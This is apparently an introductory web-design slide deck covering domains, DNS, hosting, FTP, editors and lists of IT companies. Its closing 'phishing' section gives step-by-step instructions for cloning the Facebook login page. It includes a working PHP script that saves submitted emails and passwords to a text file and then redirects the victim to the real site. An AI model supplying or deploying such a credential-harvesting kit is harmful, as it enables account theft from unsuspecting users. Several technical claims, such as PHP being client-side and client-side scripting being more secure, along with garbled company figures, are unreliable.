By

SHOBHIT SHARMA
 1.Introducition to web Design
• What is Web Design • Creating a Web Site
• Domain Name • Creating your Web
• DNS Site
• Scripting languages • GUI EDITORS
• Web Components • companies in India
• What’s in a name • world largest software
(URLs) companies
• web works • phishing
• FTP
 1. What is Web Design
• Web design encompasses many different skills
and disciplines in the production and
maintenance of websites.
• Wikipedia:
“Web Design is a skill of creating presentations of
content (usually hypertext or hypermedia that is
delivered to an end-user through the World Wide
Web, by way of a Web browser or either Web-
enabled software like Internet television clients,
microblogging clients and RSS feeders.”
 Good Design is:
– Understandable
– Interesting
– Easy to use
– Uniform in look and feel
– Done from a visitor’s point of view:
WYSIWYW (What You See Is What You WANT)
 DATA
PHP BASE
DOTNET
JAVA MY SQL
ORACLE
 2. Domain Name
• A domain name is an identification string that
defines a realm of administrative autonomy,
authority or control on the Internet.
• Connects to the various domain registration
databases around the world and displays the
current status of a domain name.
• .com
• .in – India
• .pk – Pakistan
• .bt – bhutan
 3. DNS
• Domain Name Servers

google.com 173.194.36.73

Web
System DNS server

google.com Google server

• DNS is an acronym for Domain Name Server, and is the

system used to translate word-based addresses of systems
• 1st time – reload time more
• Next time – reload time less
 4. Scripting languages
Client-Site Scripting languages
• That are executed on client-
side or user side.
• It is completely browser
dependent.
• Services are much secure.
• VBScript, JavaScript, Action
Script, PHP etc.
Server-Site Scripting language
• That are executed
on Server-side.
• It does not at all depend on
type of browser
• services are not much
secured.
• PHP, ASP.NET, Python, JAVA,
perl etc
 5. Web Components
• Clients and Servers
• Internet Service Providers
• Web Site Hosting Services
• Domains Names, URL’s and Ips
• Registrars
 Clients & Servers
Clients (Browser) Servers
• Internet Explorer • Apache
• Firefox • Microsoft
• Mozilla • Netscape
• Netscape • zeus
• Opera • AOLserver
• Amaya • AV
• AOL • JavaWebServer
• MSN • Oracle
 Web Components
• Clients and Servers
• Internet Service Providers
• Web Site Hosting Services
• Domains Names, URL’s and Ips
• Registrars
 Internet Service Providers
Connect Clients to the Internet

• Phone Company • Basic internet

• AOL connection
• Earthlink • Dialup/DSL/Cable/Sat
• Verizone • Email
• NetZero
 Web Components
• Clients and Servers
• Internet Service Providers
• Web Site Hosting Services
• Domains Names, URL’s and Ips
• Registrars
 Web Hosting Services
Connects Web Sites to the Internet

• Computer (server) farm

• Web server software
• Firewall hardware and software
• IT services
– (Backup, troubleshooting, hardware repair)

• Disk space
• Bandwidth / connection to internet
• Routers and switchers
• Email server / storage
 Web Components
• Clients and Servers
• Internet Service Providers
• Web Site Hosting Services
• Domains Names, URL’s and Ips
• Registrars
 Domain’s URL’s and IPs
• Domain name: The specific address of a
computer on the Internet
– microsoft.com
• Uniform Resource Locator (URL):
– http://www.microsoft.com/faqs.html
• Internet protocol (IP) address
– 192.168.1.1
 Web Components
• Clients and Servers
• Internet Service Providers
• Web Site Hosting Services
• Domains Names, URL’s and Ips
• Registrars
 Domain Registrar
• A company that provides domain name
registration services for a fee.
• Maintain database which maps domain names
to IP’s
• Propagate new domain name/IP address
information across the internet
 6. What’s in a name (URLs)
• FTP (File Transfer Protocol)
• URL = Uniform Resource Locator
• Contains three parts:
– Protocol (http, ftp, etc.)
– Server name
– File name, including path
• http://keep2.sjfc.edu/faculty/green/default.htm

Protocol for reading Server name – File name and path*

extension tells
type of server
 7. How the web works and how your
website fits into the big picture.
Domain
Domain Name Registrars
Registry

Internet Domain
HTTP request: Service Name
“www.sitename.com” Provider Resolver

User IP address
00.00.00.00

Web
Page Host
HTTP response

Basic HTML pages – ‘flat website’

Advantages: Speed / Flexibility

Disadvantages: Labor-intensive / navigation issues
 Database-driven website

Domain Name Registrars Domain

Registry

CMS – Content Management System

HTTP request:
ISP DNR • WordPress
“www.sitename.com”
• Drupal
• Joomla
• many more
User
IP address
00.00.00.00

Web PHP
Page Scripts
HTTP response “LAMP”
• Linux
Host • Apache
MySQL
• MySQL
Database
• PHP

Advantages: Automation of navigation, easy to change overall site design (‘theme’)

Disadvantages: Speed / Server Load / Script conflicts (plugins)
 8. FTP
• FTP = File Transfer Protocol

• This is the method you’ll use to move files to and from your host.

• The better the tool integrates with your computer,

the easier it will be to publish your site changes.

• There are web-based tools but I’ve found them inefficient.

• Higher-end tools like Interarchy are blazing fast and support all the
special cases you’ll run into. ‘dot’ files being one of them.

• Tight integration with your text editor can make editing easier.

• Can be used to change file permissions.

 FTP in the scheme of things

HOST HOST

Web Web
Page Page
http

F F
Browser T
T
View P
P
Edit/Preview
Editor on local PC within tool

Text editor / freestanding FTP Dreamweaver / IDE

 9. Creating a Web Site
1. Choose a domain name
2. Register with a Registrar
3. Choose a hosting service
4. Tell Registrar the IP address
5. Create web content
6. Store (publish) onto hosting server (FTP)
7. Submit new site to search engines
 10. Creating your Web Site
Technologies & Tools

• Markup Languages
– HTML, DHTML, XML, XSLT, etc....
• Cascading Style Sheets (CSS)
• Scripting languages
– perl,javascript,php, etc....
• Web creation and editing software
– Notepad, FrontPage, Coldfusion, Flash, Hotmetal,
Site Builder, etc..
 11. GUI EDITORS
• Dreamweaver
– Beginners always seem to start with this. It’s a great tool.
– The preview isn’t quite right, it’s slow, it’s big, it’s expensive.
Has a built-in FTP tool. Tight integration with Adobe CS.

• FrontPage
– Very common starting point on PC. Solid and serviceable.
Deep integration with Windows OS.

• Plain-text editor
– Cheap. Fast. Efficient. Reliable. Trustworthy. Multi-platform.
– My choice – BBEdit for the Mac.
Downside: not quite as ‘helpful’ as GUI apps.
 12. Top 20 companies in India
1. TCS- 33,112 crore,198,500 employee, 3,84,250 crore turnover
2. Infosys Technologies - 133,560 employees , 25,997 crore
3. Wipro - 24,899 crore , 122,385 , Noida
4. Hewlett-Packard - 23,227 crore , Bangalore
5. Cognizant Technology - 21,393 crore
6. IBM India - 14,132 crore
7. HCL Technologies - 14,111 crore
8. HCL Infosystems - 12,137 crore
9. Ingram Micro India - 9,766 crore
10. Redington India - 9,274 crore
11. Cisco Systems India - Rs 8,157 crore
12. Oracle India - 7,934 crore
13. Dell India - 7,666 crore
14. Intel India - 6,108 crore
15. Accenture India - 5,672 crore
16. SAP India - 3,924 crore
17. Mahindra Satyam - 5,049 crore
18. Tech Mahindra - 4,819 crore
19. Microsoft India - 4,711 crore
13. List of the world largest software
companies
 facebook.com
• Founded - February 4, 2004
• Chairman & CEO of Facebook Mark Zuckerberg 28%
• Headquarter - Menlo Park, California, US
• Revenue - US$12.466 billion
• Employees - 10,082
• Subsidiaries – Instagram , WhatsApp , Oculus VR ,
PrivateCore
• C++, PHP
• Users 1.44 billion monthly active users , 23 million in India
• 150 million users 34 minutes
• Microsoft alliance and rapid growth - 1.3%
• In india – Hyderabad , Delhi, Mumbai
 google.com
• Revenue - US$66.001 billion
• Number of employees - 55,419
• Larry Page (CEO) , Eric Schmidt (Chairman)
• California, U.S.
• Search tools - Google Search , 3 billion search queries per day
• Advertising services - DoubleClick
• Communication and publishing tools – Gmail , Google Groups .
Google Drive
• Operating systems - Android , Chrome OS etc
• Development tools , Security tools , Statistical tools , Desktop
applications . Mobile applications . Mobile standalone
applications , Hardware , Services , Discontinued products and
services
 14. phishing
• Step – 1 Install a xampp software in to your PC
• Step – 2 Go to this location

• Step – 2 Create a folder name with phish

• Step – 3 open a new notepad file and save it to
hacked.txt and in to phish folder
• Step – 4 open a new notepad file and write a php
code and save it to explore.php and in to phish
folder
 Explore.php
<?php
header ('Location:http://www.facebook.com ');
$handle = fopen("hacked.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
• Step – 5 Now connect your internet
• Step – 6 Open your browser
• Step – 7 Write in tab facebook.com
• Step – 8 Press ctrl+S
• Step – 9 Save it to index.htm at phish folder
• Step – 10 Open Xampp server
• Step – 11 Click on browser localhoost/phish/index.php
• Step – 12 Enter your password and email id and login
• Step – 13 Open hacked.txt file and see password